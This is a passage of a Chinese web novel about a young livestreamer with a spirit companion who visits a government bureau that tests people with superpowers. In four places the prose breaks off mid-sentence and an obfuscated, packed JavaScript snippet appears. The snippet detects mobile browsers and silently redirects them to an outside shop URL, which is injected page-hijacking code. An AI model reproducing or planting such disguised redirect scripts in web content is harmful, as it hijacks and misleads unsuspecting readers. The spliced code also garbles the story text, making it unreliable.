安随目瞪口呆地看着人数越来越多,几乎呈直线上升,突然有些心虚。她好像确实有点不称职了,对不起粉丝的喜爱。 “那个,大家好啊。”安随的声音没有底气,都不敢大声说话。 “主播晚上好!”整齐的一排排打招呼把安随搞得心里还有点暖暖的。 这届网友都那么有仪式感吗?怪,怪好看的。 安随已经很长一段时间没有正儿八经直播了,之前几次直播都是心血来潮,上了没多久就下线,播的时间也很短。 安随决定这次继续完成别人的心愿,不过这次她会挑选幸运观众,只要不太离谱的,她都会去帮他完成。 安随和观众说了一下自己的想法,这个想法得到一致响应。第一次的心愿是她自己选的,观众心里是没底的,但这次不一样,通过系统筛选幸运儿,选到了说明你运气好,别人也不会质疑有内幕之类的,大家都能接受。 安随很快设置好抽取幸运观众,倒计时一分钟结束后,幸运观众也呈现在大家的面前,是一个叫嘻唰唰的网友,听这名字就挺喜庆,而本人已经在评论区尖叫了。 “啊啊啊啊啊,我被抽中了,天呐,简直不敢相信!” “别炫耀了,快点说你要主播完成什么心愿吧。我建议你不要搞太简单的,不然太便宜主播了,也浪费了你的名额。”有人提议道,不少人也纷纷附和。 “对对对,绝对不能放过主播,想逮到太不容易了,一定要选个有难度的。” “心愿都既然叫心愿了,一定是不容易完成的,不然都对不起这两个字。” 安随感受到评论区的一片“恶意”,已经感觉到背脊发凉。 怎么有种搬起石头砸自己脚的感觉? 不过现在后悔也没用,只希望这位网友别太难为她。 嘻唰唰:“我不会为难主播的,只想让主播帮我去京市看一次贺归舟的演唱会,把我亲手做的香囊送给他。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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下播以后,安随便私信特事局,将自己要去京市的事和他们说了,对方欣然应允。 安随又去看售票APP看贺归舟的演唱会门票,这才发现票都卖光了。 这怎么搞?没票她怎么去看演唱会? 安随又不死心地去贺归舟的超话里看了看,大家都沉浸在马上就能见到自己爱豆的喜悦中,偶尔有粉丝因为没抢到票而哀嚎,除了这些便是贺归舟的照片,不得不说长得确实好看,长在安随的审美上。 安随在超话里欣赏了会儿美男图,这才惊觉自己还没买到票,于是又到各个平台去搜了下,都没搜到要补票的信息,于是,只能失望地退了出去。 灵光一闪,安随又跑到速音去打开和特殊局的对话框。 “话说,我能收点报酬吗?” 特事局很快回复:“当然可以,先给1万可以吗?后续的费用我们见面后再详谈。” “……我想要贺归舟的演唱会门票。” 她也是飘了,1万块居然对她没有一点吸引力。 特事局皮下没想到安随只想要贺归舟的演唱会门票,但他是个十级冲浪选手,自然知道贺归舟是谁,也知道他的演唱会门票有多难抢,但是,安随的心愿,特事局怎么也得满足。 于是,皮下很快将此事向上级报告,上面快速做出响应,拐了七八个弯总算联系到了主办方的人,在他手指缝中拿到了一张门票。 得到上级肯定的答复后,皮下缓缓敲出了两个字:“安排。” 38. 第 38 章 得到特事局肯定的答复后,安随悬着的心才落了下来。 第二天,安随便给母亲打电话说了凑够医药费的事,起初赵素云还不信,问她哪里来的那么多的钱,不会去网贷了吧,安随和她说了自己直播的事,赵素云都还有点难以置信,她没想到,只不过一个月的时间,女儿就靠直播攒够了她动手术的钱。 赵素云声音有点哽咽:“小随啊,你可要好好感谢他们啊。” 安随连连应声,她确实很感谢她的粉丝们,也要感谢白泽,如果没有他们,如今的她还在为生活费发愁。 粉丝她昨晚直播也算感谢了,白泽她还没好好谢谢他,她和特事局联系完后又去修行,白泽都没出现,她也没打扰他。 现在的白泽和她交流越来越少了,两个人一天说不了两句话,大家似乎都挺忙,安随有时候还有点不习惯,还挺怀念以前那个经常问这问那的白泽,那样至少让她觉得她是被需要的。只是,后来的白泽在对这个世界的了解越来越深入后,已经不需要她了。 或许有一天,他们会就此解除灵魂契约也说不定。 安随自暴自弃地想。 “胡思乱想什么呢?”慵懒的声音打破了安随的幻想。 安随被抓了个现形,嘴却很硬:“没有啊,你听错了。” “我可是听到你说以后会解除契约啊,我跟你讲,我可不会解这玩意儿,要解你自己想办法。” 安随一听这话更气了,索性不再理他。 这张嘴真是,说的话没一句好听的。 “天天不想着好好修行,就想着这些,你看看你的进度,现在才吸收三颗妖核,猪都比你跑得快。” 安随:“……不会说话可以闭嘴。” “哦,那我闭嘴了。” 说着,脑子里的声音竟真的消失了。一瞬间让安随产生一丝怀疑,刚才的声音真的是白泽吗?他出来就是为了怼她两句? 更气了怎么办? 这个插曲过后,安随便又和杜泽明打了个电话,咨询手术的事,却被告知他去沪市学习了,得两个月后才能回来,于是只能暂时搁置。 安随将打赏都提了出来,给母亲打了五万过去后,剩下的都存了起来。 刚转过去没多久,赵素兰的电话便打了过来:“小随你转钱给我做什么?” 安随连道:“杜医生出去学习了,得两个月才能回来,这两个月你先别上班了,好好养养身体,我给你买个新轮椅寄回去,转的钱你自己买点好吃的补补,别舍不得花啊,你女儿能挣钱了。” 电话那头的赵素兰沉默了会儿,才笑着道:“我们家小随长大啦,都能照顾妈妈了。” “你女儿会的东西多着呢。”安随得意道。 “是是是。我们家小随最棒了!” “那也是赵女士教女有方。” 母女俩笑闹了会儿,才依依不舍地挂了电话。 安随又去网上选了个轮椅,功能比赵素兰现在用的那个多,价格也很美丽,安随却没怎么犹豫便下了单。 下午的时候,正准备离开教学楼的安随,却被林升叫住了。 “安随,你来我办公室一趟。” 安随环顾了下四周,这里陆续很多学生出来,确实不适合聊天。 安随跟着林升去了办公室,办公室里没有其他老师,却有两个陌生的人坐在那里,一胖一瘦,对比还挺明显。 林升也不避讳他们,开门见山道:“安随,你的诉求我和苏芸的辅导员说了,但对方却表示有些为难,因为自从那天后,苏芸的电话便联系不上了,也一直没回学校上课。。” 安随蹙眉:“没联系她的家人吗?” “她老家在京市,从来没联系过,学校也没有家里人的联系方式。” “那她男朋友呢?” “我们联系过了,他也联系不上。” “报警了吗?” “已经报了,这也是我今天叫你来的目的。”林升说着,便望向一旁的两个陌生男人:“这两位是派出所的民警,有些问题想要问问你。” 安随望向两人,一脸的疑惑,她没明白,他们想要从她口中得知什么,她怎么会知道苏芸的下落? 高瘦的男人起身,朝安随走来,在她旁边站定,亲切地说道:“苏同学你好,我是王越,我们有两个想要咨询一下你,请你配合。” 安随点了点头,示意他问下去。 “12月5号那天晚上,你在哪里?” “宿舍。” “有人能证明吗?” “我的两个室友都能证明。” “你最近和苏芸有联系吗?” “没有,我和她都没联系方式。” “那你为什么会去医院看她?据了解,你和她并不熟。” 谈到这里,安随有些疑惑地问:“我前段时间去派出所报案了,有人诽谤我,并且还查到幕后主使便是苏芸,我去医院找她只是想问个明白,你不清楚这个情况吗?” “抱歉,我们没了解到这个情况。”王越中断了询问,走到旁边打了个电话,过了会儿便又走了回来,一脸歉意:“是我们的疏忽,没有掌握这个线索,那我们继续吧。” “你从医院回来以后,便和苏芸没再联系过吗?也不知道她的下落吗?” 安随再次解释道:“我没有她的联系方式,也不知道她去了哪里,既然她失踪了,那就请拜托你们一定要找到她,我还等着她给我道歉呢。” 两人见问不出什么,便也不再询问下去,和安随二人道别后,便继续寻找下一个和苏芸有关联的人做笔录。 安随见两人走了,和林升说了声后,也跟着离开了。 这个插曲安随并没有放在心上,去食堂吃完饭后,安随便回了宿舍开始直播。 一阵粉丝的狂欢后,安随便挂着直播做自己的事,直播间留给粉丝。 她还挺喜欢这种直播的,不用绞尽脑汁想话题和粉丝聊天,她也没什么才艺,保持这个状态最好。 一连几日都是如此,白天上课,下了课直播,晚上修行,生活十分充实。中途的时候她收到了嘻唰唰寄的香囊,安随仔细研究了半天,确定它只是个普通的香囊,没有任何不利因素,这才放心。 转眼便到了和特事局约定的日子,安随早早便起床去机场坐飞机,这还是安随人生中第一次坐飞机,虽然贵,但票是特事局的人买的,她一点都不心疼。 将手机调到飞行模式,安随便开启了自己人生中第一趟远行。 是的,这不仅是安随第一次坐飞机,也是她第一次出省,人生中很多个第一次都献给了这趟旅行,只可惜她只有短短的两天时间,行程还被排满了。 但她还是有些激动,她还记得之前和白泽说过的话,要带他看遍华国的大好河山。 安随在心里呼唤白泽:“白泽,快出来看!我们坐飞机啦!” 白泽也很配合地跑了出来:“哇,这就是飞机吗?居然能在天上飞,我都不会飞!” “你不是说天上有神仙吗?你能看得见不?” “那么白,啥也看不见,我说的是我们那个世界有神仙,你这个世界没有,修行要有灵气,没灵气也成不了仙。” “你不是说妖界的灵气已经溢到人界了吗?那未来是不是有可能有人能成仙啊?” “理论上是这样的。” “那实际上呢?” “实际上,成仙是个很漫长的过程,人类的寿命很短,活不到那个时候。” “哦,那行吧。”安随一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16832994|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子便失去了继续问下去的动力,不过她很快又被窗外的风景吸引了,“快看!那朵云像不像棉花糖?形状也特别像!” “像!但是不能吃。” “你快看下面!好平的地!一望无际,我们这都没那么平那么宽的地,全是山。” “嗯嗯,确实好平,适合打滚。” “你怎么就想着打滚?这明明就适合种地,收起来多快!” “我又不会种地,你会吗?” 安随不好意思地笑了笑:“我也不会。” 她很小的时间就离开了农村,也没种过地,但还挺喜欢这种平原,看着心情也跟着舒畅。 “好黄的土啊,这是到了黄土高坡吗?” “不知道啊,你问我,我比你还小白。”白泽被她问得有些无语,但看她心情很好,也不好扫了她的兴。 他还挺喜欢人界的,自然风光挺多也挺漂亮,他和她一直窝在锦城,这一次姑且算是两个人的第一次旅行吧,他也只比她好一点点而已。 好歹是神兽,得保持神兽的形象。 两个半小时后,飞机落地京市机场。 特事局的人在出站口等她,安随跟随人流走到出站口,一眼便看到了特事局接机的招牌。 “欢迎安随同学。” 招牌被那人抱在怀里,但好在没挡住字,安随一眼便看到了。 抱着招牌的人是个小个子女孩,比她矮半个头,安随朝她走去,和她打了个招呼:“你好,我是安随。” 女孩上下打量了她一眼,最后确定她就是安随,这才欣喜道:“欢迎安同学来京市,我带你去酒店。” 一路上,两人有一搭没一搭的聊着,女孩名叫周安,是特事局的人事,两个人名字里有一个字相同,加上两人都是性格随和的人,不自觉地便拉近了关系。 安随跟着周安上了门口的出租车,一直开了半个多小时,才到酒店停下。 酒店装修豪华,看着就很高档,安随一路在心里哇塞,面上却保持镇定,不在外人面前露了怯。 办完入住手续后,安随拿着房卡上了楼,等把行李安顿好后,她才和周安下了楼。 “我现在带你去吃饭。” 两人说着便又去旁边的一家饭店吃饭,不是什么特别的,就是普通的炸酱面,和c省的杂酱面不一样,味道一般,不过她饿了,吃什么都觉得香。 “这家我们经常来吃,味道还可以吧,今天中午就随便吃点,晚上再吃大餐。” “你们就在附近上班吗?” “对啊,所以才让你住在这,方便。” 安随环顾了下四周,发现这里很多高楼大厦直冲云霄,一眼看不到头,外面是玻璃墙面,看着就很高档。 吃完饭后,安随便回了酒店,周安回单位,下午三点再来接她。 回到酒店睡上柔软的床,安随坐飞机也累了,很快便进入了梦乡。 三点的时候,周安准时来接她,一直带着她路过高耸的建筑,七拐八拐地进了个胡同,搞得安随都开始怀疑,这个特事局是真的存在吗?不会是冒牌货吧? 过了胡同后,两人才在一栋有些破旧的建筑楼底下停下,随后进了一层。 一层有个防盗门,虽然看着破烂,但门却是人脸和指纹解锁,看着很高级。进去以后,周安又带着她径直往里走,但一路上有不少人朝安随望过来,神色充满了探究。 安随被无数双像豹子一般的眼睛盯着,已经感觉自己汗流浃背了。 她没想到,这个才成立的部门,居然有那么多职工,完全和她想的不一样。 “你们特事局有那么多人办公吗?” “他们不在这里办公。” “那在哪里?” “实验室。” 39. 第 39 章 “实验室?” “对,这些人被检测仪检测到有能量波动,下一步就会被送到实验室做深一步的检查。” “只是检查吗?”安随有些不信。 “对啊,总不会是解剖吧,我们可是正规部门。”周安半开玩笑道。 正规吗?安随有些怀疑,目前她还没有看到让她觉得正规的地方。 倏地,安随突然想到风眠跟她说过,检测仪只对非人类有反应,难道这些人都是被妖怪侵占身体的特殊人类? 如果这样,人间岂不是危矣? 安随把自己的想法说了,周安却道:“最新的检测仪也能检测出人类身上的能量波动,并不局限于非人类。” “那你怎么判断他是人类还是非人类?”安随问道。 周安不解:“这还需要判断?不是一眼就能看出来?” “你们就不担心,有非人类侵占了人类的身体吗?” 周安睁大了眼,似乎被安随的这个想法震惊到了,喃喃道:“怎么会?” 安随猜想周安只是个普通的工作人员,对有些深入的事情并不了解,便也不再说下去。 安随一路跟着周安往里走,一直走到了走廊尽头的办公室门前,周安敲了敲门,等听到“请进”的回应后,才推门而入。 “刘局,安随到了。” 被唤作刘局的人看着并不老,只有四十来岁,温文儒雅,身上带着上位者的气息。听到安随到了,便立即起身相迎:“安同学,欢迎欢迎,你终于来了,我们已经盼了很久了。” 安随愣了一下,她没想到特事局的局长那么有亲和力。 “刘局你好啊。”安随跟着周安喊。 刘仕诚摆手:“我比你大很多,叫我刘叔叔就行。” “刘叔叔。”安随还挺不习惯这种场合,特别像小的时候被妈妈带去见她的的同学让喊叔叔阿姨的场景。 周安把安随带到以后,便准备出去,刘仕诚却叫住了她:“小周,你也坐吧。” “啊?”周安有点懵,这种场合她该留下来听吗?她只是个小牛马而已啊。 不过领导发话了,她也只能照做。 周安一留下来,安随便感觉自在了许多,刘仕诚很平易近人,先是问了她在学校的生活,又问了她家庭情况,安随捡想说的和他说了。见他半天进入不到重点,安随便主动提起来:“刘叔叔,请问你们这次找我来有什么事吗?” 刘仕诚推了推眼镜:“我们想了解,你怎么发现能量体身上有核的存在?” “就无意中打败能量体发现的。”安随注视着他,认真地说道。 “据风眠所报,你身上的能量直接将检测仪引爆了,如此强大的能量,我们闻所未闻,你的真实身份到底是什么?”刘仕诚的神情突然变得严肃,和刚才和蔼可亲的形象判若两人。 安随却并不惧怕他,脸不红心不跳道:“我就是一个普普通通的大学生,也在兼职做主播,看我直播的人成绩都变好了,我想我强大的能量便来自于粉丝对我的信任吧。” 刘仕诚:“……” 这个回答把刘仕诚整不会了,他心里有点怀疑她说的,但见旁边的周安向他猛点头,似乎又应证了安随的说法。 难道她的能力便是超强气运吗?还是说他们研发的检测仪承受能量的能力太差,这才把它撑爆了? 不管哪个说法,但总归安随是没有恶意的,这点毋庸置疑。 不管是她一直以来所做的事还是和她近距离接触传输给他的正能量,都证明了这点。 刘仕诚只短短地在脑海里过了一遍,便很快下了决定。 “想去我们实验室看看吗?” 安随眼睛亮了:“我可以去参观吗?” “当然。” 于是,刘仕诚便带着安随坐电梯到了负一层。 走出电梯,经过两道繁琐的门后,才进了实验室。 实验室并不是安随想象中的那种冰冷纯白的色调,里面应有尽有,五脏俱全。 安随沿着走廊走,便能看到贴着检查室、测试室、手术室、研究室、休息室等等字样的房间。 检查室门口有零星几个人在排队,见刘仕诚带着一个女孩走过来,领头的人问:“刘局,她也是来检查的吗?” 刘仕诚摇摇头:“她是来参观的。” 一听这话,几人的目光一下子便落到安随身上,似乎有些好奇安随的身份,居然能让特事局局长亲自带着她参观。 安随最近一段时间经常被粉丝蹲守,早就习惯了被人注视的目光,她有些好奇这几人要怎么检查,便顿在了原地。 刘仕诚见她对这里感兴趣,便示意领头的人继续,而他和安随三人便在门口看着。 过了会儿,便听到门内的人喊“下一个”,排在最前面的人便推门而入,门没让关,于是几人便站在门口看着。 安随站在前面,将里面的情形看得一清二楚。 只见穿着白大褂的男人用一个检测仪在男人身上滑动,意料中的听到了“滴滴”声,但那滴声很短促,只响了两下便不响了。 医生面无表情地让男人躺在检查床上,几个仪器在他身上移来移去,仪器却没有一丝反应,如此过了十几秒钟,仪器依然没有反应。 “假性能量波动,不符合招录条件,下一个。” “啊?医生这是什么意思啊?难道我不能进特事局工作吗?”那人一下子坐了起来,和医生再三确认。 “字面意思,下一个。” 那人一听,顿时垂头丧气地下了床出了屋。 屋外的其他人见他出来,连忙询问道:“你的能力是什么啊?怎么没通过检查啊?” 那人想了想道:“我没有什么能力,特别能吃算吗?” “那你怎么想到特事局来面试的啊?特事局上面的招录条件不是写的要有特殊能力吗?”询问的人不解道。 “我这不是看到他只需要面试吗?现在的考试都太难了,笔试面试竞争都大,学历要求还高,难得看到一个只要求面试的岗位,抱着试一试的态度便来了,没想到过了初试,谁知道复试被刷下来了。” 那人一听立马没了兴趣,心里对此人却是嗤之以鼻。 没有特殊能力还敢来面试,也不掂量掂量自己。关键是他居然通过了初试,这就有点费解了,不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841371|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是关系户吧? 那人有些怀疑,但一想到这人已经被刷下来了,便释然了,管他是不是关系户,他对他的能力还是很有信心的。 轮到他时,待医生喊到他的名字,他便整理了下自己的衣领,昂首走了进去。 依然是初步检测,随后躺到检查床上,几个仪器同时开始响,医生神情也从先前的散漫变得认真起来。 这人的能量是今天检测到的最强的一个,他虽然有些好奇此人的能力,但这却不是他的检测范围。 “能量波动中等,去测试室。” 那人先前听到仪器同时响,还有些激动,毕竟越响代表能量越强,本以为自己能测个上等,结果只是中等,心里有些失望,从床上下来以后还有些气闷,走到门口的时候有人问他是什么能力,他也没理,而是径自去了隔壁的测试室。 “切,拽什么拽啊?”有人不满道。 “走吧,我们去测试室看看。”刘仕诚说着,便离开了检查室,安随二人跟在后面。 来到测试室,那人已经进去了,三人在门口站着看,门开着,里面的场景也看得一清二楚。 测试室很大,几乎有足球场那么大,但这里却千疮百孔,到处都能看到被烧黑的、裂开的等等痕迹,这里便是测试者展示自己能力的地方。 测试官全副武装,与测试者相对而站,和他说着测试规则。 测试者展示自己的能力,由测试官对他的能力做出初步判定,通过后便可以去下一个测试室。 “15号,你的能力是什么?”测试官问道。 “我的能力是:瞬移。”话音刚落,测试者的身影便消失在原地,落到角落,随后在几人还未看清时,又落到了了另外一处。他几乎在测试室的每一个角落都落地,最后才在原来的位置站定。 “我的能力展示完毕。” 测试官面无表情地看着他,随后道:“能力有用,但特事局不需要,回去吧。” 那人展示完毕后还有些气喘吁吁,听到测试官的话,顿时震惊得喘得更急了。 “这不可能!咳咳——” “我的瞬移为什么不需要?你们不是要求特殊能力吗?我这不是吗?” “是特殊能力,但特事局已经有好几个会瞬移的人了,我们想招点能力更特殊的。” 那人有些不服,凭什么他们有了就不需要他了,而不是让那些人出来和他比一比谁跑得快? “你们招的谁?我要和他们比试。”那人双目瞪圆,语气也有些冲,显然极其不满。 话音刚落,他便感觉自己的身体被人提了起来,呼呼的风声在耳边吹着,刮得他脸生疼。他感觉头发也被吹乱了,眼镜也歪了,视线变得更模糊,他想要将眼镜扶正,却发现自己还没来得及扶,人又已经到了另外一个地方。 再次落地后,他只觉得胃里翻江倒海,他干呕外加咳了好几声,差点把胃里的东西都吐了出来,但最后还是忍住了。 在原地休息了会儿,他整个人才缓过来,将衣领扶正,眼镜戴好,这才站定。 他抬头望向测试官,却见对方似笑非笑地看着他:“现在,你还要和我比吗?” 40. 第 40 章 那人只觉得挫败不已。刚才被对方提着衣领在屋子里穿梭,速度很快,让他根本看不清前方的视野。关键是他150斤,却被对方像拎小鸡一般拎在手里,而看对方的样子,也丝毫不费力,甚至轻轻松松。 只一个瞬间,他便意识到自己和对方的差距,随后叹了声气,扭头向外走。走到门口的时候,却看到刚才来的三个人也过来了。刚才听对方说是来参观的,只是几人看着没有特别的,除了中间的女孩长得好看些。 但经过刚才的教训,让他知道不能小看任何人,尤其是能进特事局的人,想来每个人都有其过人之处。 那人不再逗留,匆匆离开了。 测试官见几人进来,连忙上前打招呼:“刘局,你们过来了啊。” “怎么样?发现什么好苗子没?” 测试官:“刚才那人的能力还不错,只是我们局里已经好几个相同能力的人了,不然可以留下来考察一下。” "能力撞了的可以作为预备队成员考察,不过他心性急躁,得好好磨练一番。小周,你记录一下那人的信息,下来以后和他联系。" “好的。” 安随全程看着这一切,没有说话。她其实心里有些疑惑,他们对妖界的认识到底有多少,现在大量招能力者又是为何。但她知道,此刻不是问这些的时候。 从测试室出来以后,三人又去了旁边的房间。 这里也是一个测试室,只不过标的测试室2,这里大门紧闭着,但好在窗户是透明的,里面的场景看得一清二楚。 房间不大,只有第一间测试室的一半不到大,正中间放着一张床,床上躺着一个女人,双目紧闭着,像是睡着了。 一名白衣女人坐在旁边,观看着屏幕上的数据,十分专注。 察觉到窗外人影绰绰,女人倏地朝窗户方向望去,刚好和安随的目光对上,但她神情很快就放松下来,起身开门。 “进来吧。” 三人得到允许,便进了房间,在一旁站立着。 屏幕很小,上面的数字在缓慢跳动,从78一直跳到85。安随在住院那段时间也在医院看到过这种仪器,好像是心跳监护仪。但他们为什么会用心跳监护仪来测试测试者?这才是安随不解的地方。 然而,她很快便明白了这东西的用处。 只见先前还安静的女人,却突然像搁浅在沙滩上的鱼一般,身体往上弹跳了一下,而数字也突然飙升到110,又很快落回90。她的神情十分痛苦,似乎做了噩梦,额头上也布满了汗水,把头发都打湿了。她的身体开始剧烈震动,嘴里发出哀嚎的声音,数字快速变换,几乎让人看不清。 女人突然尖叫一声,测试官连忙双手轻抚着她的额头,从上往下慢慢地抚摸着,动作轻柔又不失力道。 女人慢慢镇定下来,数字也终于稳定在了82。 过了会儿,女人才缓缓睁开眼,盯着天花板看了会儿才缓缓地坐起身,却突然看到门口多了三个人。她以为是排队来检查的,也没在意,而是急切地问测试官:“老师,我过了没有?” 测试官神情清冷,声音也淡淡的:“心理承受能力太差,回去吧。” “怎么会?”女人有些难以置信,随后想要抓住测试官的手,却被对方轻巧地躲过。 “出去。” “老师您再测一测呢?这次我一定可以,求求您了。”女人说着便要跪下来,却被测试官侧身避开:“13号,你小时候受的创伤有一天会成为伤害你的武器,特事局的人不能有弱点。你的弱点太致命,回去吧。” 女人闻言,眼里的光一点点地暗淡下来,随后佝偻着背转身离开了测试室。 与安随擦肩而过的时候,安随甚至还能看到她脸上灰暗到没有一点光亮,整个人笼罩在一片阴影中。 “粟泠,这个人什么情况?”直到女人的身影远去,刘仕诚才出口询问道。 粟泠看着女人远去的背影,淡淡道:“她小的时候被养父母虐待,后来嫁人又被丈夫家暴,觉醒了防御能力,丈夫对她无可奈何,便不回家了,而她也终于获得自由。只是她的经历是她的致命伤害,很容易被人抓住弱点,不适合留在特事局。” “可以将她列为预备队成员考察,小周你记一下。” “好的。”周安连忙应道。 再往里走,便一个测试者也没有了,今天来测试的人最远便走到测试室2,没有一个被收编,但好在选了两个预备队成员,也不算全无收获。 刘仕诚带着两人开始往回走,边走边说道:“博士没在,实验室空着,没其他参观的地方,我们上去吧。” 三人进了电梯,刘仕诚问安随:“你想去看看他们吗?” 安随愣了一会儿才反应过来他说的是风眠他们,便点点头道:“好。” 得到肯定的答复,刘仕诚便按了三楼。 从电梯指引来看,二楼是食堂,三至五楼都是员工宿舍。 看来特事局的待遇还不错,食堂和宿舍都有。 出了电梯,三人走到最角落的房间,刘仕诚敲门,在得到肯定的答复后才推门而入。 安随环顾了下四周,发现这个房间还没她的宿舍大,不过这是个单间,还带个卫生间,条件还不错。 坐在床上的人头低垂着,额前的碎发扫出一片阴影,让人看不清面容。 “咳咳——”那人咳了两声,抬起头和三人打招呼:“随便坐吧。” 安随这才看清了此人的面容,竟是赵拓。 印象里赵拓是个沉默寡言的人,话比较少,他的匕首很快,也很锋利。那晚上,他被蛇妖甩下悬崖,生死未卜。 安随一直关注着他们的情况,如今见他醒来,没什么大碍,悬着的心也算真正放下来。虽然她和赵拓接触不多,但他们曾经并肩作战过,她也希望他能平安无事。 “赵拓。”安随唤了他一声。 听到熟悉的声音,赵拓有些震惊地望向她:“是你,你没事了?”他扭头看向刘仕诚,询问道:“刘队,这是什么情况?” “刘队?”安随被他的称呼搞懵了,刘仕诚不是局长吗?赵拓怎么叫他刘队? 一旁的周安连忙解释道:“刘局是特事局作战第一小队的队长。” 安随:“???” 安随:“!!!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852116|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以,刘仕诚也拥有特殊能力?那周安呢?她也有吗? 见安随望向她,周安不好意思地挠挠头:“当然,我也有,只不过和他们比起来显得微不足道。” 什么情况?一觉醒来,怎么感觉人人都有特殊能力了? 安随被自己的这个认知吓到了。 她先前还以为特事局对妖怪的认知很少,拥有特殊能力的人也很少,这也是她将妖核寄给他们的原因之一,她想让他们快速成长起来,以应对妖怪的入侵。 只是如今看来,特事局并非全无准备,甚至在大量招录特殊能力者。只是不知道,他们对妖怪到底了解得有多深。 安随还挺好奇这几人的能力是什么,便问道:“方便说一下你们是什么能力吗?” 周安闻言,连忙介绍道:“拓哥没有特殊能力,但他擅长使用匕首,身体灵活,能出其不意地制胜敌人,他和岳哥是唯二的两名没有特殊能力,完全靠自己的本事招录进特事局的;我的能力是记忆力好,能过目不忘;刘局的能力是能感知到能量波动,号称''人形检测仪''。” "咳咳——"赵拓轻咳了两声,过了会儿才补充道:“我也觉醒了能力。” “真的?是什么?”周安一听,十分惊喜。 “我也不知。”赵拓有些苦恼,“自……自锦城回来后,我昏睡了几天,醒来以后便发现自己能徒手斩破桌子,如今我已经不需要匕首了。” “这叫人匕合一?”周安夜想不出什么好的词,但大概就是这个意思。 “就叫匕手吧。”安随突发奇想道。 “匕手……”赵拓看了看自己那双手,觉得这个名字还挺贴切,“那就这么定了。” 取好名字后,赵拓只觉得蒙在自己眼前的迷雾也渐渐散开,整个身心也跟着舒畅起来。 嘱咐赵拓好好休息,三人又去看了谭岳。 谭岳正在宿舍里打拳,每一招都带着力道,见三人进来,他才收了招式,缓缓吐出一口浊气。 “刘队,你们过来了啊。”谭岳打了招呼,看向一旁的安随,疑惑道:“你怎么在这里?是专程来看我们的吗?” 安随心想他还挺自恋,她还记得被谭岳过肩摔的场面,现在又看到他打了一套虎虎生威的拳,顿时感觉自己屁股又开始疼了。 “怎么可能?我过来办事,顺道来看看你们。” “谢谢你来看我,我没事。”谭岳道。 “岳哥,你的拳法精进了!”周安欣喜道。 谭岳挠了挠头:“好像确实和之前不一样了,感觉每一拳都带着风,力道也加强了。” “你是不是也觉醒了能力?” “大概可能是吧。”谭岳也摸不准,但他明显感觉到他的拳法和以前不一样了,杀伤力十足。那天,他把铁架床砸了个窝,还好没被他砸断,不然还得赔。这事他没告诉任何人,就怕有人传到后勤耳朵里,到时候免不了又得被唠叨一阵了。 告别了谭岳,三人又去探望下一个人。 一进屋,安随便被屋里堆得乱七八糟,几乎没有落脚点的景象震住了。 她,她不会是进了狗窝吧? 41. 第 41 章 只见房间里随处扔着散乱的各种零件,材质不一,木头、金属、泥土等等,堆满了整个房间,好在床上除了睡觉用的,没有放其他东西,不然这间房就成了名副其实的杂货间了。 房屋正中间,一人埋在一堆零件里,手里正拿着一个几个零件,准备把它们凑在一起。几个零件并不凑套,他又换了一个试,如此几次后,才把零件凑在一起,像两个藕节。 刘仕诚唤了一声:“陈默。” 没有得到任何回应。 周安见他沉浸在自己的世界里,对外界没有任何感知,小声说道:“默哥工作时就这样,对外界没有半点反应。” 三人也不再打扰,去最后一个房间,风眠所在的地方。 风眠的房间在最角落,他们三个人过去的时候,正好看到风眠从房间里出来。在见到安随时,风眠明显愣了一下:“你……” 安随朝他挥了挥手:“好久不见啊,小哥哥。” 周安一脸震惊地看着她。 当着刘局的面调戏他的下属,不太好吧? 风眠却笑了:“好久不见,小妹妹。” “进来坐会儿吧。”风眠说着,便带着三人进了屋。 风眠的房间很整洁,收拾得井井有条,窗明几净,房间里几乎看不到一点灰尘,和陈默的房间形成鲜明的对比。 风眠给三人倒了茶水,待三人坐定后,风眠这才问道:“安随,你怎么来这里了?” “你们邀请我来的啊。” 风眠看向刘仕诚:“刘局,这是要收编安随吗?她现在在读大学,应该进不来吧,保险都买不了。” 刘仕诚见他对安随挺关心的,知道他们四个之前和安随有过交集,且都从那能量体手里逃出生天,自然感情不一般,只是他总感觉,风眠对她的关注并不止于此。 “我让她来是有些事想咨询下她。你说的倒提醒我了,我准备建个预备队,都是无法进入作战小队的能力者,安随还在读书,时间也不自由,倒可以选择成为预备队员。”说着,刘仕诚又看向安随,“安同学,你有兴趣加入特事局的预备队吗?” 